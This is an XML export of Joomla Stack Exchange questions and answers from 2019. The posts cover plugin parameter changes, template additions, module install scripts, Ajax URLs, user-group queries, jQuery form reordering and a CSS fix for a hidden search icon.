  <row Id="24260" PostTypeId="1" CreationDate="2019-02-13T20:06:26.497" Score="1" ViewCount="414" Body="&lt;p&gt;In a system plugin, I am using the onAfterRoute event to change a single parameter from a 3rd party component before being loaded.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterRoute()&#xA;{&#xA;    if ('com_abc' == JFactory::getApplication()-&amp;gt;input-&amp;gt;get('option'))&#xA;    {       &#xA;        $params = JComponentHelper::getParams('com_abc');&#xA;        $params-&amp;gt;set('param_to_change', 'new_value');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although it is working I would like to know if this is the right way to achieve it or if there is a better method.&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2024-02-24T01:03:30.377" Title="From outside of a component how to change a parameter" Tags="|joomla-3.x|development|plugin|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24261" PostTypeId="1" AcceptedAnswerId="24262" CreationDate="2019-02-14T12:05:47.223" Score="0" ViewCount="77" Body="&lt;p&gt;so I'm hoping to achieve something relatively simple. I need to add an external css reference to a CDN and a local customjs file reference to the head of my template file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I am doing this directly which is a problem as changes are knocked out each time I Update. I'm looking for a way to dynamically include this changes on a permanent basis to prevent the issue from re-occurring but I'm not sure how to go about doing this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the hadron theme for this project on Joomla 3.9.2. Any help would be very much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to add to the above, Ideally it would be great to achieve this without the use of another third-party extension. Wherever possible I like to keep external resources to a minimum.&lt;/p&gt;&#xA;" OwnerUserId="12487" LastEditorUserId="12487" LastEditDate="2019-02-14T16:17:35.750" LastActivityDate="2019-02-15T18:58:06.340" Title="How To Include Permenant Modifications To Template Without Being Knocked Out On Update" Tags="|templates|template-override|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24262" PostTypeId="2" ParentId="24261" CreationDate="2019-02-14T23:09:10.253" Score="1" Body="&lt;p&gt;Good question and the &quot;correct answer&quot; as others have commented is that you probably need to use a plugin to do this properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The RocketTheme &quot;Hadron&quot; Gantry 4 template does allow a custom CSS file but does not provide any feature to include an external CSS or JS file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could avoid installing a plugin by adding the code via a custom HTML module. You will likely need to set the editor to &quot;None&quot; in your user settings or in Global Configuration while creating or editing the module so that the editor does not strip the code when saving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Including &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags in the HTML body follows HTML 5 standards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per &lt;a href=&quot;https://stackoverflow.com/a/16844668/1983389&quot;&gt;https://stackoverflow.com/a/16844668/1983389&lt;/a&gt; and &lt;a href=&quot;https://stackoverflow.com/a/50154225&quot;&gt;https://stackoverflow.com/a/50154225&lt;/a&gt; &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; tags work fine in the body too and are now officially part of the HTML 5 standards.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2019-02-14T23:09:10.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24265" PostTypeId="1" AcceptedAnswerId="24305" CreationDate="2019-02-15T16:07:04.967" Score="0" ViewCount="159" Body="&lt;p&gt;I've a module that I want to run a script post installation, post update etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this can be done by adding a script.php into the module zip file and then calling it in the installation file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;scriptfile&amp;gt;script.php&amp;lt;/scriptfile&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the xml file to set up the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the script.php I've some test type stuff:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;?php&#xA;            // No direct access to this file&#xA;            defined('_JEXEC') or die;&#xA;&#xA;            /**&#xA;             * Script file of HelloWorld module&#xA;             */&#xA;            class mod_W4cAccordionDisplayInstallerScript&#xA;            {&#xA;&#xA;                /**&#xA;                 * Method to install the extension&#xA;                 * $parent is the class calling this method&#xA;                 *&#xA;                 * @return void&#xA;                 */&#xA;                function install($parent) &#xA;                {&#xA;                    echo '&amp;lt;p&amp;gt;The module has been installed&amp;lt;/p&amp;gt;';&#xA;                            $db = JFactory::getDbo();&#xA;                    $query = $db-&amp;gt;getQuery(true)&#xA;                            -&amp;gt;update('#__update_sites')&#xA;                            -&amp;gt;set('extra_query = &quot;ids=12354&quot;')&#xA;                            -&amp;gt;where('name = &quot;Accordian Display&quot;');&#xA;                    $db-&amp;gt;setQuery($query);&#xA;&#xA;                    $db-&amp;gt;execute();&#xA;&#xA;                }&#xA;&#xA;                /**&#xA;                 * Method to uninstall the extension&#xA;                 * $parent is the class calling this method&#xA;                 *&#xA;                 * @return void&#xA;                 */&#xA;                function uninstall($parent) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't copied the whole file since it's basically a copy of the joomla example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run this by updating in the update then it says installation complete but it doesn't adjust the update sites table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas where I might be going wrong&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So I've now changed out the database update for &lt;/p&gt;&#xA;&#xA;&lt;p&gt;mail(&quot;myemail@gmail.com&quot;,&quot;My subject&quot;,&quot;user id is: &quot;);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and put it into &#xA;        function postflight($type, $parent) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but there is no email response - I think that it's not loading and running the &#xA; script :(&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Figured it out - I had the wrong class name.  I had removed all the _ characters like you normally do for class names but apparently you don't for this script.  Hope this helps someone else.  Thanks for the thoughts.&lt;/p&gt;&#xA;" OwnerUserId="12248" LastEditorUserId="12248" LastEditDate="2019-02-15T19:58:11.710" LastActivityDate="2019-02-23T13:07:17.710" Title="Getting post installation script to run for a module" Tags="|joomla-3.x|module|development|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24266" PostTypeId="2" ParentId="24265" CreationDate="2019-02-15T16:30:27.727" Score="0" Body="&lt;p&gt;On update, you should use the update method like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function update($parent) &#xA;{&#xA;    // on update stuff&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find it in Joomla documentation &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating the extension script file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2019-02-15T16:30:27.727" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24267" PostTypeId="2" ParentId="24261" CreationDate="2019-02-15T18:58:06.340" Score="1" Body="&lt;p&gt;Manic day hadn't had a chance to revisit this but I did manage to resolve the issue. The Hadron template actually has a placeholder for the header element called analytics. I was able to utilize the default custom html module to solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks all for replying. Failing the above solution I most likely would have just ended up building something myself. I'm always against adding more resources unless absolutely necessary.&lt;/p&gt;&#xA;" OwnerUserId="12487" LastActivityDate="2019-02-15T18:58:06.340" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24269" PostTypeId="1" CreationDate="2019-02-16T17:37:57.273" Score="0" ViewCount="130" Body="&lt;pre&gt;&lt;code&gt;$.ajax({&#xA;    url: Joomla.getOptions('system.paths').base+'/index.php?option=mypage&amp;amp;view=cartcheckout&amp;amp;task=cartcheckout_autoSave&amp;amp;tmpl=component&amp;amp;stepId='+stepId,&#xA;    type: 'POST',&#xA;    //async:false,&#xA;    data:values,&#xA;    dataType: 'json',&#xA;&#xA;    success: function(response)&#xA;    {&#xA;        // do something&#xA;    },&#xA;    error: function(response)&#xA;    {&#xA;        // show ckout error msg&#xA;        console.log(' ERROR!!' );&#xA;        return e.preventDefault();&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My Joomla version is  3.9.3 Stable.&#xA;I am getting error message on console&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ERROR!! &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is my url correct?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla.getOptions('system.paths').base+'/index.php?option=mypage&amp;amp;view=cartcheckout&amp;amp;task=cartcheckout_autoSave&amp;amp;tmpl=component&amp;amp;stepId='+stepId&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="13343" LastEditorUserId="12352" LastEditDate="2019-02-16T20:29:16.013" LastActivityDate="2020-07-11T18:03:55.400" Title="How to post checkout data to component using Ajax?" Tags="|joomla-3.x|ajax|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24270" PostTypeId="2" ParentId="24269" CreationDate="2019-02-16T18:25:24.813" Score="1" Body="&lt;p&gt;I would define the url simply like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;url:'index.php?option=com_mypage&amp;amp;view=cartcheckout&amp;amp;task=autoSave&amp;amp;tmpl=component&amp;amp;stepId='+stepId,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(If in the console you would see error due to double slash in the ajax request url, then try it also without slash at the beginning of the url)(And as @Sharky pointed to it in the comment, if the url starts without the leading slash, then the url will always point to the root, even if Joomla is intalled in a subfolder).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should work this way. In the above, you can see that the first segment of the url (after index.php?) starts with com_mypage as it has to be your component name (or the component name which you communicate with). It will never work if it is just a page. It must be like: option=com_virtuemart or option=com_j2store or some other component name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other parts of the url look OK. (However, the task segment should be &amp;amp;task=mycontrollerfunction of the component). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just do not see any reason to define the base path in the ajax url if you start this call from inside Joomla, it’s just totally unnecessary (and it will never work the way you tried, since in jQuery it does not mean anything).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean in jQuery you could start your url with the base like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.location.protocol + &quot;//&quot; + window.location.host + “/index.php?...”&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But for this ajax call you really do not need that.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-02-17T15:15:31.587" LastActivityDate="2019-02-17T15:15:31.587" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24271" PostTypeId="1" CreationDate="2019-02-17T09:50:47.553" Score="0" ViewCount="451" Body="&lt;p&gt;This code snippet below shows the list of all Joomla user groups(registered,editor.superuser and ...) at component&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/M3SvP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M3SvP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // load in joomla user groups&#xA;    $qry = &quot;SELECT * FROM #__usergroups ORDER BY lft&quot;;&#xA;    $db-&amp;gt;setQuery($qry);&#xA;&#xA;    $this-&amp;gt;groups = $db-&amp;gt;loadObjectList();&#xA;&#xA;    $group_index = array();&#xA;&#xA;    foreach ($this-&amp;gt;groups as &amp;amp;$group)&#xA;    {&#xA;        $group_index[$group-&amp;gt;id] = &amp;amp;$group;&#xA;&#xA;        if ($group-&amp;gt;parent_id == 0)&#xA;        {&#xA;            $group-&amp;gt;level = 0;  &#xA;        } else {&#xA;            $group-&amp;gt;level = $group_index[$group-&amp;gt;parent_id]-&amp;gt;level + 1;&#xA;        }&#xA;&#xA;        $group-&amp;gt;display = str_repeat(&quot;- &quot;, $group-&amp;gt;level) . $group-&amp;gt;title;&#xA;    }&#xA;&#xA;    array_unshift($this-&amp;gt;groups, JHTML::_('select.option', '', JText::_(&quot;JOOMLA_USERGROUP&quot;), 'id', 'display'));&#xA;    $this-&amp;gt;jgroup_select = JHTML::_('select.genericlist',  $this-&amp;gt;groups, 'usergroup', 'class=&quot;inputbox&quot; size=&quot;1&quot; onchange=&quot;document.fssForm.submit( );&quot;', 'id', 'display', $this-&amp;gt;usergroup);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now I want to show only registered user and manager user list or only registered user&lt;/p&gt;&#xA;" OwnerUserId="9530" LastEditorUserId="9530" LastEditDate="2019-02-17T13:12:23.203" LastActivityDate="2020-07-13T12:03:35.487" Title="Display specific Joomla user groups" Tags="|joomla-3.x|component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24272" PostTypeId="1" AcceptedAnswerId="24274" CreationDate="2019-02-17T10:04:32.857" Score="0" ViewCount="67" Body="&lt;p&gt;First of all I'm not sure if this counts as Joomla question or jQuery question. I have manipulated the joomla user jform and added an extra field jform_firstname to the list of fields. The current output is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;details&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;            &amp;lt;label id=&quot;jform_username-lbl&quot; for=&quot;jform_username&quot; class=&quot;hasPopover required&quot; title=&quot;&quot; data-content=&quot;Enter the login name (Username) for the user.&quot; data-original-title=&quot;Login Name&quot;&amp;gt;&#xA;                Login Name&amp;lt;span class=&quot;star&quot;&amp;gt;&amp;amp;nbsp;*&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/label&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;jform[username]&quot; id=&quot;jform_username&quot; value=&quot;james&quot; class=&quot;required&quot; size=&quot;30&quot; required=&quot;required&quot; aria-required=&quot;true&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;            &amp;lt;label id=&quot;jform_password-lbl&quot; for=&quot;jform_password&quot; class=&quot;hasPopover&quot; title=&quot;&quot; data-content=&quot;Enter the password for the user.&quot; data-original-title=&quot;Password&quot;&amp;gt;&#xA;                Password&#xA;            &amp;lt;/label&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;password&quot; name=&quot;jform[password]&quot; id=&quot;jform_password&quot; value=&quot;&quot; autocomplete=&quot;off&quot; class=&quot;validate-password&quot; size=&quot;30&quot; maxlength=&quot;99&quot;&amp;gt;                       &#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;            &amp;lt;label id=&quot;jform_email-lbl&quot; for=&quot;jform_email&quot; class=&quot;hasPopover required&quot; title=&quot;&quot; data-content=&quot;Enter an email address for the user.&quot; data-original-title=&quot;Email&quot;&amp;gt;&#xA;                Email&amp;lt;span class=&quot;star&quot;&amp;gt;&amp;amp;nbsp;*&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/label&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;email&quot; name=&quot;jform[email]&quot; class=&quot;validate-email required&quot; id=&quot;jform_email&quot; value=&quot;admin@deanimaconsulting.com&quot; size=&quot;30&quot; required=&quot;required&quot; aria-required=&quot;true&quot;&amp;gt;                        &#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;            &amp;lt;label id=&quot;jform_firstname-lbl&quot; for=&quot;jform_firstname&quot; class=&quot;required&quot;&amp;gt;&#xA;                First name&amp;lt;span class=&quot;star&quot;&amp;gt;&amp;amp;nbsp;*&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/label&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;jform[firstname]&quot; id=&quot;jform_firstname&quot; value=&quot;James&quot; class=&quot;required&quot; size=&quot;30&quot; maxlength=&quot;255&quot; required=&quot;required&quot; aria-required=&quot;true&quot; aria-invalid=&quot;false&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible with jQuery to move the whole control-group which contains jform_firstname to after the control-group for jform-username?&lt;/p&gt;&#xA;" OwnerUserId="5523" LastActivityDate="2019-02-17T12:12:05.863" Title="Is it possibile to reorder jform control-group with jquery?" Tags="|joomla-3.x|administrator|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24273" PostTypeId="1" AcceptedAnswerId="24278" CreationDate="2019-02-17T10:08:52.420" Score="1" ViewCount="93" Body="&lt;p&gt;I have quite a specific problem and just cannot seem to figure out what is going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Fontawesome search icon which when clicked opens a VM search in a dropdown. This works fine on most mobile screen sizes and desktops but, for example, when using Chrome Dev tools and selecting iPhone X in landscape the icon is not visible. I have clicked through the classes and cannot see any display:none on this screen size so am completely at a loss as to why it is not displaying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The related code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;serchline&quot;&amp;gt;&#xA;&amp;lt;form action=&quot;/all-products/results,1-24?search=true&quot; method=&quot;get&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;searchsearch&quot;&amp;gt;&#xA;&amp;lt;input style=&quot;vertical-align :middle;&quot; name=&quot;keyword&quot; id=&quot;mod_virtuemart_search&quot; maxlength=&quot;100&quot; alt=&quot;Search&quot; class=&quot;inputboxsearch ac_vm ac_input&quot; type=&quot;text&quot; size=&quot;100&quot; value=&quot;Type text and hit enter&quot; onblur=&quot;if(this.value=='') this.value='Type text and hit enter';&quot; onfocus=&quot;if(this.value=='Type text and hit enter') this.value='';&quot; autocomplete=&quot;off&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;limitstart&quot; value=&quot;0&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;option&quot; value=&quot;com_virtuemart&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;view&quot; value=&quot;category&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;div class=&quot;ac_result&quot; style=&quot;display:none;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;sropen&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-search&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;srclose&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-times&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have flicked the site into Dev mode at present as I want to get this fixed so to view the site you will need to click &lt;a href=&quot;https://www.ladyloving.co.uk?dev=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping someone may be able to assist as I've been racking my brain over this for quite some time now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: The icon seems to disappear when the width goes above 768px so I'm still scouring through trying to find a media query which could relate to this.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2019-02-18T15:47:31.647" LastActivityDate="2019-02-18T16:08:07.327" Title="Struggle getting search icon to display on tablets" Tags="|css|virtuemart|search|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24274" PostTypeId="2" ParentId="24272" CreationDate="2019-02-17T12:12:05.863" Score="1" Body="&lt;p&gt;You could start with something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('.control-group').has('#jform_firstname')&#xA;    .insertAfter(jQuery('.control-group').has('#jform_username'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2019-02-17T12:12:05.863" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24276" PostTypeId="2" ParentId="24273" CreationDate="2019-02-17T22:35:21.540" Score="2" Body="&lt;p&gt;The search function is in the navbar which is hidden on narrower screen widths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant HTML is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;t3-navbar navbar-collapse collapse&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the corresponding CSS is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.collapse {&#xA;  display: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The easiest solution is probably to add an additional search module in an alternative module position for narrower screen widths.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2019-02-17T22:35:21.540" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24278" PostTypeId="2" ParentId="24273" CreationDate="2019-02-18T16:08:07.327" Score="2" Body="&lt;p&gt;Ok, after a bit more in depth digging the following fixed the issue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media (min-width:768px) and (max-width:991px) {    &#xA;#t3-mainnav .t3-navbar.navbar-collapse.collapse { &#xA;        display:block; &#xA;        height:0px; &#xA;        border:none; &#xA;        background:none; &#xA;        box-shadow:none; &#xA;        position:static;&#xA;    }&#xA;    .t3-megamenu {&#xA;        display:none;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue was seemingly due to some template customisations created by the template developer which when changing the responsive settings, then prevented the search icon from showing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all for your comments. :)&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2019-02-18T16:08:07.327" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24279" PostTypeId="2" ParentId="24260" CreationDate="2019-02-18T17:40:34.643" Score="0" Body="&lt;p&gt;You can change the params of a component with an added plugin as you did. I would only change the sequence of the conditional statement of yours like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (JFactory::getApplication()-&amp;gt;input-&amp;gt;get('option') == 'com_abc') {...}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's not that relevant change, it just looks a bit more logical to me. And if you want to be a little more precise/critical then the $app as a property is already loaded with the system plugin, so you can simply use it and you get the same result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;app-&amp;gt;input-&amp;gt;get('option') == 'com_abc') { ... }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what you would really like to do (probably) is changing a third party component's params in your plugin or other component, without creating/using another system plugin, (and you do not have to change the value on the fly) if I understood you correctly. This is how you could formulate this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;On the top&lt;/strong&gt; of your plugin file use two newer Joomla classes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use \Joomla\CMS\Component\ComponentHelper;&#xA;use \Joomla\CMS\Table\Table;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And you can&lt;/strong&gt; use the following code to get, change, set and save any component's params:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// getting the component params registry object&#xA;$comp_params = ComponentHelper::getParams('com_content');&#xA;$comp_params-&amp;gt;set('my_new_value', (string) 42);&#xA;$comp_params-&amp;gt;set('show_title', (string) 0);&#xA;// var_dump($comp_params); // you can check the values&#xA;&#xA;// saving params to database&#xA;$component_id = ComponentHelper::getComponent('com_content')-&amp;gt;id;&#xA;$table = Table::getInstance('extension');&#xA;$table-&amp;gt;load($component_id);&#xA;$table-&amp;gt;bind(array('params' =&amp;gt; $comp_params-&amp;gt;toString()));&#xA;&#xA;// check for error&#xA;if (!$table-&amp;gt;check()) {&#xA;    // echo $table-&amp;gt;getError();&#xA;    return false;&#xA;}&#xA;// saving to database&#xA;if (!$table-&amp;gt;store()) {&#xA;    // echo $table-&amp;gt;getError();&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nothing new in this, I just refreshed that a bit. I hope that with the above you can get what you are looking for.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-02-19T17:01:19.537" LastActivityDate="2019-02-19T17:01:19.537" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24280" PostTypeId="2" ParentId="24271" CreationDate="2019-02-19T08:28:00.087" Score="1" Body="&lt;p&gt;A basic query to to select parent and its children from a nested table, taken from &lt;code&gt;Joomla\CMS\Table\Nested::getTree()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select('n.*')&#xA;    -&amp;gt;from('#__usergroups AS n, #__usergroups AS p')&#xA;    -&amp;gt;where('n.lft BETWEEN p.lft AND p.rgt')&#xA;    -&amp;gt;where('p.id = ' . (int) $groupId)&#xA;    -&amp;gt;order('n.lft');&#xA;&#xA;$this-&amp;gt;groups = $db-&amp;gt;setQuery($query)-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;$groupId&lt;/code&gt; is the topmost group's ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also need to modify your code here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($group-&amp;gt;parent_id == 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By adding a check for array element with topmost group's ID :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!isset($group_index[$group-&amp;gt;parent_id]) || $group-&amp;gt;parent_id == 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is because the parent of your topmost group is not retrieved.&#xA;Alternatively, add a counter to the loop and check for first run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($this-&amp;gt;groups as $key =&amp;gt; &amp;amp;$group)&#xA;{&#xA;    ...&#xA;    if ($key === 0)&#xA;    {&#xA;        $group-&amp;gt;level = 0;&#xA;        ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-02-19T08:28:00.087" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24282" PostTypeId="2" ParentId="22808" CreationDate="2019-02-19T15:16:19.553" Score="1" Body="&lt;p&gt;You do not need a current Zoo subscription to update. Zoo is free. It's the apps (product catalog, cookbook, documentation ...) that require a subscription, but you can update the core for free and continue using your apps. In addition, it is a good time to update since Yootheme is working together with Zoolanders in the new ZOO 4&lt;/p&gt;&#xA;" OwnerUserId="13346" LastActivityDate="2019-02-19T15:16:19.553" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
